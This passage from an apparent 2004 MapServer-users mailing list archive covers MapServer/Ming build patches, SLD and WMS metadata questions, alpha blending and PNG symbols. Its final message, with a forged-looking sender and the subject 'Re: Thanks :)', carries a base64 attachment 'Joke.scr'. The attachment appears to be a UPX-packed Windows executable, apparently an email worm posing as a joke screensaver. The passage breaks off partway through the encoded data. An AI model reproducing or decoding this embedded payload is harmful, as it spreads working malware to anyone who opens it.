#ifdef USE_GD_GIF driver = strdup("GD/GIF"); #else delete line 2825 : #endif replace line 2728 : SWFMovie_save(image->img.swf->sMainMovie, filename); by : SWFMovie_save(image->img.swf->sMainMovie, filename,0); --------------- mapserver-4.0.2/map.h --------------- edit mapservver/map.h replace line 42 : #include "ming.h" by #include "/root/ms_install/lib/ming/src/ming.h" --------------- /usr/include/ming.h --------------- edit file /usr/include/ming.h replace line 41 : #include "../config.h" by : #include "/root/ms_install/lib/ming/config.h" save updated file # cd /root/ms_install/mapserver-4.0.2 # ./configure --with-tiff --without-eppl --with-threads --with-proj --with-php=../lib/php-4.3.6 --with-gd=/usr/local --with-freetype=/usr/bin --with-ming # make As I said before, during the "make" of MapServer, I get a lot of warnings, mainly of two kinds : --1-- mapswf.c: warning: passing arg 2 of 'SWFButton_addShape' from incompatible pointer type --2-- php_mapscript_util.c and php_mapscript.c: dereferencing type-punned pointer will break strict-aliasing rules As I am just discovering FlashMapServer, I haven't tested all the available functions and can't tell that everything is working. I just can run the FlashMapServer demo, but without raster and with big aliasing artefacts. Well, well, I hope this will help some of you, but I am also waiting for a more academic way of installing MapServer with Ming Bye Blaise From assefa at dmsolutions.ca Tue May 11 12:05:14 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Tue, 11 May 2004 15:05:14 -0400 Subject: [Mapserver-users] SLD - wms_sld_url In-Reply-To: <8AE17DD6AA4FD51191CD0002A551168101B89716@s5-van1-r1.ess.nrcan.gc.ca> References: <8AE17DD6AA4FD51191CD0002A551168101B89716@s5-van1-r1.ess.nrcan.gc.ca> Message-ID: <40A123EA.7080407@dmsolutions.ca> Joost, I just tried an example with wms_sld_url set with mapserver beta2 (as well as the cvs version) and It works for me. I do not see anything wrong in your example so not sure what is wrong (if xml and url are valid). Later, Van Ulden, Joost wrote: > Hello all, > > I am looking into SLD with MapServer. It works fine if I add the path to an > SLD doc to the url, but when I specify the path in the wms_sld_url metadata > element the style does not get applied. It works if I put the sld doc in > the wms_sld_body. Maybe I am way off but here is my layer snippet: > > LAYER > NAME "Styled Rivers" > TYPE RASTER > STATUS ON > CONNECTION "http://127.0.0.1/scripts/mapserv.exe?map=wms.map" > CONNECTIONTYPE WMS > METADATA > "wms_srs" "EPSG:4326" > "wms_name" "Rivers" > "wms_server_version" "1.1.0" > "wms_format" "image/gif" > "wms_sld_url" > "http://127.0.0.1/mapserver/styles/sld_line_simple.xml" > END > END > > Any suggestions would be helpful. > > Cheers, > > Joost > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From godwinl at agr.gc.ca Tue May 11 12:56:12 2004 From: godwinl at agr.gc.ca (Liz Godwin) Date: Tue, 11 May 2004 15:56:12 -0400 Subject: [Mapserver-users] Implementing dataurl, metadataurl etc in 4.2b2 Message-ID: Hello, I have read over the bug report on this (bug 523) and the history.txt with Mapserver 4.2beta 2 and I have tried winging it as far as implementing it goes, and I cannot figure out what it is supposed to do. I would think that the contents appear in a GetCapabilities request or context document generated with php_mapscript from the map file, but neither shows these elements. Would someone please post how to implement these new additions/changes, and what to expect as a result? Thanks Liz Godwin Spatial Data Visualization Specialist Research Branch / Direction g?n?rale de la recherche Agriculture and Agri-Food Canada / Agriculture et Agroalimentaire Canada Telephone/T?l?phone: 613-759-1850 Facsimile/T?l?copieur:613-759-1937 960 Carling Avenue/960 Carling Avenue Ottawa, Ontario/Ottawa (Ontario) K1A 0C6 godwinl at agr.gc.ca From warmerdam at pobox.com Tue May 11 13:02:59 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 11 May 2004 16:02:59 -0400 Subject: [Mapserver-users] alpha blending In-Reply-To: <9227.212.238.227.182.1084281134.squirrel@webmail.xs4all.nl> References: <9227.212.238.227.182.1084281134.squirrel@webmail.xs4all.nl> Message-ID: <40A13173.6000905@pobox.com> bartvde at xs4all.nl wrote: > Hi list, > > what are the current alpha blending capabilities of Mapserver? > > I saw an e-mail from Frank Warmerdam from 2002 in which he states: > "I would like to see Map file color keywords be able to specify an RGBA > color, instead of just RGB but even then alpha blending can only practically > be done on 24bit output, not colormap output files." > > But AFAIK nothing has been pursued in this direction. The current state of > GD would make this possible. > > So my impression is that alpha blending is only possible for raster layers > at the moment and not for vector layers. Is this impression correct? Are > there any plans to support the RGBA colors in the MAP file? Bart, As far as I know Paul is right. Transparency/alpha blending is currently only supported at the layer level for all layers types "TRANSPARENCY" keyword, and for rasters via various mechanisms. I am not aware of any plans to extend the colorObj and .map file to handle alpha values though I still think it is a natural idea. Perhaps Tyler-the-poll-meister will do a poll on most-wanted-new-snazzy-feature and include full alpha support as an option. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From bartvde at xs4all.nl Tue May 11 13:50:01 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Tue, 11 May 2004 22:50:01 +0200 Subject: [Mapserver-users] Implementing dataurl, metadataurl etc in 4.2b2 In-Reply-To: References: Message-ID: Hi Liz, The WMS GetCapabilities part is not implemented yet, see: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=438 I don't know whether or not the writing of context files should work with metadataURL etc. Best regards, Bart On Tue, 11 May 2004 15:56:12 -0400, Liz Godwin wrote: > Hello, > > I have read over the bug report on this (bug 523) and the history.txt > with Mapserver 4.2beta 2 and I have tried winging it as far as > implementing it goes, and I cannot figure out what it is supposed to do. > I would think that the contents appear in a GetCapabilities request or > context document generated with php_mapscript from the map file, but > neither shows these elements. > > Would someone please post how to implement these new additions/changes, > and what to expect as a result? > > Thanks > > > > > > Liz Godwin > Spatial Data Visualization Specialist > Research Branch / Direction g?n?rale de la recherche > Agriculture and Agri-Food Canada / Agriculture et Agroalimentaire > Canada > Telephone/T?l?phone: 613-759-1850 > Facsimile/T?l?copieur:613-759-1937 > 960 Carling Avenue/960 Carling Avenue > Ottawa, Ontario/Ottawa (Ontario) > K1A 0C6 > godwinl at agr.gc.ca > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From martin.kofahl at auf.uni-rostock.de Tue May 11 13:55:07 2004 From: martin.kofahl at auf.uni-rostock.de (Martin Kofahl) Date: Tue, 11 May 2004 22:55:07 +0200 (CEST) Subject: [Mapserver-users] transparent png's as symbol Message-ID: Hello, i would like to use a png (two colors, one declared as transparent in the symbol-file) as symbol. However, the png should only contain some dots, the backgroundcolor should be declared in the mapfile. This doesn't work for png's. I only see the png with a white background when setting the png-backgroundcolor to be transparent (in the symbol-file). If I use vector-symbols instead of images it works! Does anyone know why and how to fix it? Thank you! Martin From TMitchell at lignum.com Tue May 11 14:53:24 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 11 May 2004 14:53:24 -0700 Subject: [Mapserver-users] orthographic / spherical looking 3d map?? Message-ID: Anyone come up with a solution to rendering 3d orthographic views with Mapserver. One of you mapscript gurus has to have done the job at some point :) I'm working on a global dataset and don't want to "show preference" to any particular locale being in the centre of the world, so I'd love to use an alternative representation. Tyler From steve.lime at dnr.state.mn.us Tue May 11 16:13:27 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Tue, 11 May 2004 17:13:27 -0600 Subject: [Mapserver-users] Re: Thanks :) Message-ID: ----------vppacrpnacqxcbdzofoi Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------vppacrpnacqxcbdzofoi Content-Type: application/octet-stream; name="Joke.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Joke.scr" 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 